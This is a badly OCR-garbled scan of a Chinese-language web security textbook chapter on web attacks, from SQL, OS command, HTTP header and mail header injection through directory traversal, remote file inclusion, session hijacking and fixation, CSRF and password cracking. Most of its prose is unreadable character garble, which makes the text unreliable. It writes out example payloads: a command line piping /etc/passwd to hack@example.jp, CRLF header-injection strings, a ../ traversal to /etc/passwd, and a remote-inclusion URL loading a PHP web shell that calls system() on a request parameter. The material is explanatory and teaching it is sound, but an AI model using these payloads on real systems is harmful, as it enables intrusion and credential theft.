SELECT * FROM bookTo WHERE suthior =" EEE " - dnd flag =1:

E W AiTETHE
fag=TET SR EEIERRT |

M bookTh EAETHE “author=
[-zhmAFszawHAsER. B

: SQLE AR BV IR (E

18AK%6Y SQL B OIREAL* MEHEEEEY bookTbl &P, T7i#/e author= EE
SRUPIEITHNEE", WHHAR.

SELECT * FROM bookTbl WHERE author ='LEFE ' - -' and flag=1;

< >

SQLIBOIPE) -- ZEEMNTR. B, andflag=1 X PREWENRIE S



bookThl

M bookThIERARFHE "suthor= EEE " EEeRFETHHE
( flag T HIEA FESQLUEATRERNAT |

B HEELE

5RIR flag BNREETXR, RIS author="_EHS"FIFFTEITEIE
B, XHEEIS AR DR —FH B Rk .

OEOER0T? LEE 9&%—8#8%“‘“

041244000 LM m!m—-s’#sm:ﬁn‘?

C W SALIEABBR

SQL 7E AW &5 IR SQL 15 D5 =F)

SQLFFANRKEE R SQL IBONEM T RE RO LA RRIALS
[AENNGES



L0, TEZAIBNERAD, MR author NFEE (ZRPEM 9%
8) " L BB --" NFRBMES $a.

SELECT * FROM bookThl WHERE author = 'Sg' and flag = 1:

SELECT * FROM bookTbl WHERE author -|1.E ' and flag = 1:

author BT E{H #nd

L RPHRERICHFRIBRITIONEG SIS () Rnai author NFEEGER
K, UBIAS =N RS|SHEIFNSR. R, author NFEERM T L8
g, MEE -- WABET author FEE, SRENTUAMNDZE.

¢ SQLIF AW EHREE

REPI PRI ZIERBIR DENREL—BRRHE 7. BRIRE
SQLIIAWEN, RETESSBA L ESNEEANSESEMEIERNIEE
ABREN, NTERFESAOREENRK.

1.23 0SHSEAWSE

0S8 5T A (OS Command Injection) 2#5181Y Web M7, HATIEANURIER
FHSRBWENE. RBIEALIER Shell WA B B ARKEHIN.

TBUM Web 7A@1Y Shell SKIBRBIRFAGH . HEIERA Shell NBEEMRR, #i
IRRNTIBARIEE OS 1.

OS s<SIE AT A Shell &ixen<>, 1k Windows 2 Linux i2{E ARSI/
WiEfr. HRIRI, BT OSEABGIHAUT OS L LEENSIIT.

® OSJE ANWELEH

TEUSBRPLHEAIXINEND, i OS)EALS. ZIETREBFNE
BHHHZ IR S RN SR ARTE .



-
&

& &

CFARERSARREEE
Bfieh |
ERRE [

&

: OSSE AW E N B SR

TEBELRIZEFEASH—BOIVET.
my $adr = $g->param('mailaddress’);
open(MAIL, "| usrsbin/sendmail $adr"); print MAIL "From: info@e:

< >

127 open RANZYAR sendmail sy ARARF, MBSV AIX DL
Bl $adr 49/&.

WEER T BEVESEF vl trihit.

; cat /etc/passwd | mail hack@example.jp

TEREILE, BRUTHGSES

| usrsbin/sendmail ; cat /etc/passwd | mail hack@example.jp

WHEENBANEPSEDS () » XNMFSEOS oD, SREITNIRE
2P RUTHSENRIC,



O, sendmail SSHITIRIPRG, B FEMEHIT cat etcpasswd | mail
hack@example.jp XIENHS T . SR, S5 LinuxIK~S S etcpasswd B3
%, FMUMHFRRIXS S hack@example.jp.

1.24 HTTPELEAWT

HTTP E80F AILE (HTTP Header Injection) 2K HEBIVAEION B BFERAIE
NBFT, MERION &SR EAFN—TPRE. BFRIBEER.

fne‘%ymmumgewaamm HTTP 05T &5 (HTTP Response Splitting
ttack) o

WP, Web BN SIBMIMNBENRINEIE, IHEI05E 3% E Location 70
Set-Cookie,

Location: http://www.example.com/a.cgi?q=12345 Set-Cookie: UID=12345 *

< >

HTTP 8B ANTRERIXAF, BUARLIIN S BT REZMBELENIS, BA
AT RENE S

HTTP 8B AIEB TRERIGR T — L8200,
e 13 EE{T CookielS 32
e EFEGEER URL

o TRERMER (HTTP UG BMT W)

o HTTPEZIANKEED

TEENUEEE M EAIER TR EES LAV NEHIIEENE, W
HTTP 8BNS, ZIRENE MERENRES — X5 ID &, —Bit



EEAD, MENGZ ID ERRIEIGN IR Location &S ERR, B0
Location: http://example.comv?cat=101, SHIBLREESTE BBk,

S 1) e SE K B T A9 Ak

- & - i

A it A

LR e

& | meeiknl

WEEE W
Locatien: http:ffexsmpie.com/feat=101

B: HTTP & 35E A& Al

WHEEUTBRASBERZRI89%5] ID BAIXER.

101%@D%0@ASet -Cookie : +SID=123456789

H, %0D%0ATE HTTP IR PENRITR, RBENRIRTIRKES
MG (hitp:/hackrjp/) BIS1E ID 1R EBRL SID=123456789 B Set-Cookie &}
FE

REZERZE, RRBEREOU TR,

Location: http://example.com/?cat=101 (%0D%QA : #474F) Set-Col
£ >
Iz, E35E Set-Cookie D43, WIVKNGETEEBIERZLI Cookie

58, BINEEENS (NEHEIJEMEBENZE D) WEHAES, W
HETNERB .


http://hackr.jp/

WHEBMAS %0D%0A, RARZET S EL Location NEIFELLS,
BTG, %OD%OALR T IRITRY, BRIBANTHMNEBTE.

XEE—R, WEETERNPEAEENEHFE.
e HTTP g N & M W

HTTP 1A/ ST a= A% HTTP B8E AN 0N E. KEIiFeea, 8
ERRF %0D%0A%0D %O0AF HHE N\ TR B A% TP NESEY
BITHMIEE HTTP 8BS TARDRMAENTT S, MR RMEHNE
K, KEWEER. XEFORES0UER HTTP IRERT S,

%QD%OA%OD%OAHTML > <HEAD><TITLE>Z JiF, AHZEE /RIMTTAZE <!--

EIEEHT HTTP SEEANNART, BUAX FENTAS, BROSREE
BT IX IRz,

Set-Cookie: UID= (%0D%@A : HATFF)  (%@D%OA : HATHF) <HTML><I
£ >

MAXDEE, SRR SRS T RGN Web 7@, BiLA
FRABCHTAGESE, TREFBIGEAREEDNAR.

S96, A HTTPAA L ESINRIRAIE, SSHEFRISENTEA
THHTEBERIE. SRPBREIRNEZSR. ERREFRSSNA,, B0
PEBRWEEIMIGE, RN ST id=H) Web R,

125 @iHFEERTEARTS
BRHEEBEA (Mail Header Injection) 245 Web [i7F3 PV R I%TNEE, WEHE B

I B E B To 51 Subject RIERRIIRZEAB KRN S, MRBFELZDIRE0
Web R, TSHERBIFIEIE AR SHRHFSRBEM .

o MEEILFAREEA



TEU Web ME P E IR B NFITHEREMFE BHE AR S, ZIRETER
BRENSBERPIHOILREIASE, DB EMIEER
Fo

TE e =
B il

B fhHEBEAREEE

WEBRUT BB ERBE DI ARER.

bob@hackr. jp%@D%@ABcc: user@example.com

%0D %OAFEBIMHR X P HRIRITRT, —BEIRBHTEH Web AR S
%ﬁﬁﬁﬁ,ﬁﬁﬁiﬂmBmM#%M%EMﬁ%,ﬁﬁ%ﬁ%%iﬁﬁ

SOMETE—H, ERRMESOUMTIE TR TANSHAE
1Xo
bob@hackr . jp%0D%eA%OD%OATest Message

BUBENGZE, MBETRENS To A0 Subject SERBMAE L, HELAR
DOMYHFERNF.

126 BREHUT



BRi@7 (Directory Trawersal) WHRIENATRATFOUFER, BT EHKT
g@i&%ﬁ%@sﬁﬁmﬁﬁgaﬂaﬂ%mﬂﬂ XK HENBIRRERIET (Path
raversal) W&,

BT Web R7AXYSFRMBIRIFRY, 7 BINBIEEXHSHNMNEFERRIVER T,
FAPTER ../ SEXEEENE etcpassed FHIERE F, RILARFES HERHI
gﬁ%éﬁ%igﬁ TERTIDE, XK, MBEIEIRENE. EREMIER Web

BERBEADERXYNOR, BEMZXABENMER N HS0TIIRIR.
o BRBHWTRA
TEURTRBAIEENG), HRERBMNNE. ZIEEIUTE8EF
B, BEENHS. REM wwwlog/ STHB R T iRBUX MEEHI .
http://example.com/read.php?log=0401.1log
WHERBWTEWFEBRBIER.

http://example.com/read.php?log=../..etcpasswd

EHFEN T REBGEI] 6 etcpasswd 3XfF, SN wwwiog/ BFFIE
TEAMBXIEEE. QRX{) read.php FIAESZXIERE B ROGIANERLNE, A
RERNATT XA ET RGN

log=_/../etcipasswd

log=0401.log

0407 log




: BRBAYER

127 ZREXHBIRE

TN HEEFIE (Remote File Inclusion) 238 SBOMANBTTHEZMN MR
ANBY, WEBHBEEIMNBIRS S URL 8BRS, LA G, #Mac
TEERHAN—FI T,

NEBL PHP FANZERA, X PHP 89 include o require 1%, X2 —f0TiE
TNRTE, BESNPIRSEIEY URL ENSERBIINEE. BR, ZIIEEAEM,
PHP5.2.0 Z fGEINRE L IDRETL o

BERGERLERNOEM, EEMEHERHRHIEE.
o TRENHBIRANKEZEL

TEW include I \BEBFERIGEXHOENS, HRTEXHRSIRF
B ZMETBIUN N EWFRPREENHS, FHERAAL include i3
RN MEE o

http://example.com/foo.php?mod=news .php

NYRZBIREDRICIBL T FATRo

http://example.com/foo.php BUEHID (BHEF)

$modname = $_GET[ 'mod'];
include($modname) ;

WEHEEEWEA T BRI URL KEER.

http://example.com/foo.php?mod=http://hackr.jp/cmd. php&emd=1s

< >



WHEEC BB LES T U TXRMA.

http://hackr.jp/cmd. php BURAES

<? system($_GET['cmd']) ?>

318 Web fRR 8 (example.com) &3 include OIS | AINTAR S ELET URL,

BRRABEBEINDAR 58S EBEESH

URL (http:/hackrjplcmd.php) o 53R, BIJ system AR ALAE Web R385
(example.com) FHITEIFTERIEEN OS 5.

httpi#fexarple.cemifoo php?mod=news.ohp
EAR—BEFFHIHFAG

foo.php -\—I $modname = $_GET|'med'];
% includei$modnamel;

BHER
httpifaxample.cemfoe phpimod=htpiracer piomd, phpdemd=1s
WA EE L AMEFNT

[ hiptmackriptemd phe B ]

<7 systami$_GET!'emd')) 7>
it systemn BEHERFeempocom BER EHTOS &4

CEENGEIRBOREEN

EUEWEEBID, HTTTRT Web fRF5es (example.com) EXHRE

RIESH Is B


http://hackr.jp/cmd.php

1.3 AREBARITLOBREBSIRNLZLR/E

RIRBEFR U EORES | ROZERARE, HIRIZE Web 855835, BRI L
B — LG S [RNLZ 2RIT.

.31 RBAI S

&MY _(Forced Browsing) Z2FAR1E, MZEE Web fRBZENATERTH
P, ABHBLRAIFSBATTO .

SBHINE YRERIERMU T —L0d.
o HEMBNMNACIEEZER
o HERARZZEBNIRRNALZIITEHNEIAST
o SHERIMERSNRE M

JBURARNBATON, N TRIELZLSREHE URL. J—BR)E 5B
URL, BFRRETRE URL RN (., BRSNS HE R
RSN, BURLSATRESE URL =S,

XHER—8

http:/Aww.example.comvlog/

BUBEXHERSIR, ITEXH—EPER T RIS,
BEZRENAHEBRERS

http:/wwwexample.com/entrylentry 081202.log A4ARFIRESZHN (2 - BHNIBR, T
HEH N —NSH4 2 entry_081203.10g )

B0 XM

http:/Awwexample.comvcgi-bin/entrycgi (FRIASIHA)



http:/wwwexample.com/cgi-bin/entrycgi~ (B9 1H)
http:/wwexample.com/cgi-bin/entrybak (Z1{7)3Z1)

BRIERE B NERNBNELH TR, BYEERNRRBERER
SINES T BRI

@Y URL HIERANIEITINES 27 Web ME LB (HTMLIZH.
EF. PDF 531y, CSS UREMAIES)

o JBENESHLZERTNZEHL

TERNUSZHIEL SNS BICIIEEBI, UHERRHIIEIRESHENZERIT. %
BICIRERIE SEREBNISRNAARAMIN, HEMASRERRBIE.

S T AHURAALRAAFE
o §9 5 PR AL A B
UAEEMHLE—%

ARKBBORE

B2 4R RS o= )
<img sre="http://example.com/img/tRNgSUBAGTDa. jpg">

e o3 —
M pooxnmeans ||| mimiemmp URL, BHEEHR
v R TR

C BHENESBLZ2RANED

ZBIEPESNBERRA IR0 T AR,

<img src="http://example.com/img/tRNqSUBdG7Da.jpg" >

BB XX DICHEIERIE, REMNEXEAH URL, BIEHERE URL 55
AMER R ZEA. BicNIENNAERHONRNES, EAEENEAHL



XIREES], MMFES Z2RE.

132 ANEHOVEBIREINIE

T ERREVEEIMERME (Error Handling Vulnerability) B922 R E218, Web [zAHY
BRERNEINREEEENER. 5 Web MABXNEBHIRESW AT

e Web W BiENEIRHER
o HEEZAAMLOERER

Web B NMEBAIIAEE LEAIFHNERER. WHEERR, FHE
RHESB TSN T —RLEURR.

e ANEMNBREIVESHZERINEL
Web i/ B EHEIRHER

TERANEDEFIAESIRES I, RN ERONBIRESMESN. %
INEDDRE, HEMARPANEFNIRBRLEALERN, SRRSRE

=
TTho

LA B -

Flfilhu ‘Eﬁ ﬁ:#E-'Filﬁ H& iﬁﬁﬁo

B: RERNERESNEBSHLZERIANEL



LHBERR SHOIEREN NERER. SHABEbI RER
Web Wi A, MSMAXRBIRER. BNGSHRHNIEEE, Mix
RRNBANBEEIR 2 XNBIRER.

WEENRBHTAANMASRTAANERERXER, MIBKMABA
BRI RESAEIXT Web MG HFEMIT S,

NINLERESEWEEUS A, BIUHRTEBOIASIURBE AL
HRXIPI2ERIT.

HEFESAANENBRER

TEHEMNUERDERTHHRES NG, HBRNERNEIRESRE. &
EERTRREE, YEARTNNZRTEN, SRAEENHR.

TELUAEDEEENMESRES N, HRAERIERES NS, ZIAE
RN R 2 ANEM DI R BRI AL HIRN, SRNERES.

| Q|
DED:mysql:st execute failed: You have an
arrer in your SQL syntax; check the manusl
that corresponds to your MySOL server
version for the right syntex to use near """ IN
titemnum,name.scr)’ 8t hne 1 at
fearfwwwisesrch.egllina 107,

A A R My SOL e,
LEEEEAA o SOLES F .

C AEMNBIRESRESHZ2RANED

LHENBEPET IS SQALBXWERER. WTREMS, %E[HAF
7 Debug (Y=E#HEN, BNAFEZTAL.

WEENIFERP I REHBERBHRZ MySQL, BEEIRBNS SQLIB
DR R, XIELREZIHT SQLIEABMEUB K.



AAMHIBREREPEUT VNS E.
o PHP 3 ASP 5 AHH1R
o HIBESNPEHEIEIR
o Web fRFEHHEIR

SRAMXYFBARNEREBHTOHNINE, EBEENHERER, MUtk
RUBREEWEEUBR.

N33 AHEED

FIMEREG (Open Redirect) B —fhXUISENER URL (EEEBBEEHINAL. T
IR RBNZLIRRRE, RUEBENSED URL BENREHBRE Web I
i, BLBPAUERIESEAON Web MG,

o HNEREBNKEED

BAIUTES URLBEEGONG, HEFNEEOREZRE, ZIEEM2
B URLIEEESHIE, B4R URL RESEOR .

http://example.com/?redirect=http://www.tricorder.jp

%E%H‘J%E@?EEE’H%@E&ZE&E&%%MBS Web WIIGRIAZEY £, 0
To

http://example.com/?redirect=http://hackr.jp

FPEE URL BRAIE example.com, ARISHT E#IFSE hacksjp X
NMEENEEDBE T,

TJEEBL Web MIGYIRFMEEANEE, WRETERNEEEPHA
SRAEN VB S EIRKAR.






1.4 REGEBRRASIANLZLRD
DEBERAXREBEAPRTONEIIE, ERUREREEELEMRR, Ma
SHAPHEIAEPRTRBIREGR.

na1 EHH

21EH%s (Session Hijack) RIEWGHZ BIEMFRSE THFHNAIE D, FHIRA
BRILAE ID (DA ,, REINGEHNEH,

BF P OMERE JWRIEID i, e

http://example.com/login?sid=bb3c8a93a024e —

WEHEEFBYRHFRBETRIEID
( bb3c8a93a024e )

v

http://example.com/login?sid=bb3c8a93a024e

R

B

B: 21E#05

BZINEINAER Web N7, BASRIE ID IEE NG, ERBSERIMPRSNER
Eﬁ_}a EE%;E?@F’H%B‘J Cookie HER, RFEBIHHEIE ID SINBRTIHT
—Xy—| e

TEIET [ IMHEETRERE ID 8GR,
e BUFEMNEMSDEHENSIS ID

o EIULFITE; XSS W H R EES1E ID



e EIAIFEEEWT (Session Fixation) 3217 iKENE1E ID

o RERBWERA

TEBMNIUAEREAPIHEREME. XEMAEDEEIRIEBEN
fil, DREINMERAEFEIREID (SID) RIFEAFEesH Cookie

Cookie

a‘ HI.J’[ . | SID=f5d1278e8109

MBI XSS Wi, & F A JavaScript B A1
document.cookie IX 55 B Cookie {5 2 B9 E B,
HEAFHSIEID(SID)

SID=f5d1278e8109

BEER I SIDEEE
WHE B C H %588 Cookie th

B: RENRUGERE

WHBTERRZ Web MIGFEIBISH T (XSS) HNLZLRTE, MigE
5 A JavaScript f12<18F document.cookie LI Z5EX Cookie (S S8R, —B
BPBARBH (H051Z#4) , BEE/MERISERIE ID 89 Cooke,

WEHESEBLWNSIE D 5, A8Ca55esH Cooke PIREIZRIS ID,
BIIAEMEE ID BB, 118 Web M5 S o

Nn42 2BEEEWE
SYUGEBEREE ID AEMREFERNSEMHEMS, S6EEN T (Session



Fixation) &R EAEENEEEENRIE ID, BFHiKE.

o REEEWERA

TEENIUAEDREAPIHBREEER S, X1 Web MISBRAELIARE,
SENEAIRH—TRE ID, SNERD), MEERBEAREZIAEPR

o

AABEERTUE

&

N
CREB/BRA—PRIEID

H#HE  httpi//example.com/login?SID=f5d1278e8109

Z2IE D A RIME PRZS

@ 2% 6y URLIEABERE, F AP RTRIME

L&

C RBEERGZR

il

M
il

AP A

W& EEEMH, 55710 Web WMiIGEE|E1E ID (SID=5d1278e8109) - I,

Z, =15 D RS E EWIERIDE GRIME) R

(FRO~ Q@)

WEBRBBEEIMLEAIZEE ID 8EH, HESHAFPEEXMEE D
BIEIAIE. —BRPRARMFFEMIAE, &15ID (SID=f5d1278¢8109)

ARS8 EEOIRTS (FBFP ABINE) RiaRieTE ke

(FEHO)

WEBOHAPERSEMAIEHE, BFABZANXNEES ID 1H5iaMib.
BFZ215 1D BRI’ (AP ASIWME) R, FREEGEFNAE, AR

SNIRFERMIL. CGR®)

Session Adoption




Session Adoption 5215 PHP 2§ ASPNET EZI5# I RMERAIZIE ID BYTDEE.

BREARDEETIRITEEEREHVESNER, M Web Mih RS RIT
216 ID SR B, WEEILBEREE ID MEH, PaHaair
MNZEE ID RFAEE ID MHEER.

143 BiGmiERNE

PBIaRUAKIDIS (Cross-Site Request Forgeries, CSRF) WEHRIENEE BIINE
GO, BHEIXSSRIAENEPH TR N AGSERLEERFELRT
B, BT RMKE.

BIRIERNESEIEREHU T EE.
e MAEEBINENAPREREFNRESSS
o MAEERINENAFLREBRER

e MAERINENAFPRIBEBSRLERERSIE

o BlimiERNEN B ERE

TEUBSHEIDEENB, HRBIERIERNES. ZIDERSHSINEHER
BWAPEBSR EATRAS.



MIMERIT AP AS#H

GET/HTTP/1.1
Host: example.com
Cookie: sid=1234567890

it 7 T ER
ABERERREFESRILATIR

<img src="http://example.com/msg?q={R&F ">
(F P AfRE BE B

GET /msg?q={REF HTTP/1.1
Host: example.com
Cookie: sid=1234567890

AP AR B33 b & Cookie #5H EIMEMRIT ID, FIMAF A
BRI T REF 1

B BlimBERNEHRERE

HEZBSRA%LE, REZAL ARSNERT. BoUNIY5s3 P8 Cooke
HBECWNENZIE ID GBERO) -

WHEBWEB—BA,IN, RISRIFEBSIRERRIFETW TN LI
ICENEKRENEM. AP ABUNISSESRITMFPIERE, BSREBME
BTHAFRIE (FRO) -

ORI Z IR, WRAFP ABFRBIIINE, WAENBRBP ARSHIIRE
BSRERERAS.



1.5 HEMZ2RD

N51 IR

BISWARLE (Password Cracking) BIEHHTY, REEIME. W NMURT Web [z
A, MEBEMNAL QWFTPESSHE) , KD ESINEDREN
Web 7B HHTHI RIS 0%%

BIREE U TMIOFE.
e BIMBHNZBIAE

o NENBBHRNER (BUSEARAS, SRENBRAIRE
NEZIBHEBHRIBIT)

BRARBINESRGEFE, 08 SQLEABGHEIAE, BISHAKEHREZRGE

/\lﬁg} / o
o BIMBHTHINE

XY Web RzFBIRELENANELDRE, B MBRMREZIHTO TR E. £
SEUTHIPS .

o FEE
o THWS
GRS

952575 (Brute-force Attack, NARERIMRAEE) RIEXFTEBRESIIMN
ZERIE (Keyspace) #7555, B, BB ITHHREZENBIRNZG
%Jiﬁtia FADAZRBRAE B —FP It

ELARITRAB D AIRABR B4 (T ARNTE, BLMBI
0000~9999 PHYE Y ZE MHTRIL. XK, WEERENBIHBES
PHEE—DERNESE, TRTIAE.



RNBFEERLAEIIREEN, PIMUE —IOREEBRAREDNI S,
B2, YBATEREAN, RTIEFRARNE, BETFNNG, &
EMMRBEZS, WHRERE.

FHRWE

FHWERIBNASENEBNREEE (EISPESHRNEEAF
8) , WEFHPNESE, FWNBDMEN—EEFE.

ERERTRADARIBR 4 HZ"ZENBS, EERABLERS
CHEDHBENTREMRS, TEMIUCEDBHMEN, WE
0101~1231 (RN, HT=L.

S5EEML, BTRRIANREZHRRD, BRENERAFNNSHER
2. BR, WRZMPRHIFHNT, ARMITERBRRI. BICHEER
WERR T FHEIANS .

A SIS

D000 —p T | | — 0101
Q00T ——————— i | E t— 0102
[eilid 0103

—_— TasEd — 004
QoI | o817 | " 0g1e
oot e 0817
ogle T " FHf] +—
L1

- FHIE S B R ERR
| R 3664 )
L4l FasEsEaEgd

[ MEERIO 0K ERzaTEesNEREENN
A EnNRERTEFaTRAE
i e A E R EREE

CHTEREA R EBE A ER G AN T ER
s PEENFHREE

A A3 B0t B2 69 ID-B 83 1T W



SN EHDE ORI B EAM Web WIS EEY ID REFIIIFRHIT
K E. R2BHEPIIRERNEDS T Web MISEBE—E ID 1%

B, BlwsaaessnnmiE

TIRIBEHIEE AT, RIDARESE 6.7%. ¥k 23F (201
F) PHBNIFENWITNREERERTES D
http:/Amwwnpa.go.jp/cyber/statics/h23/pdf040.pdf

o X2 RV

Web AR RSN, —MASERMANNSRRE, BIHIIRER
BRIANESNN salt F T RIRFNBIEASNE. ARIEHEEBHEEL
FRONTEIRE, WRBBRAIFEEAXLEN, WMFTRIRESEF
B, ENZRMENTRINRMEER.
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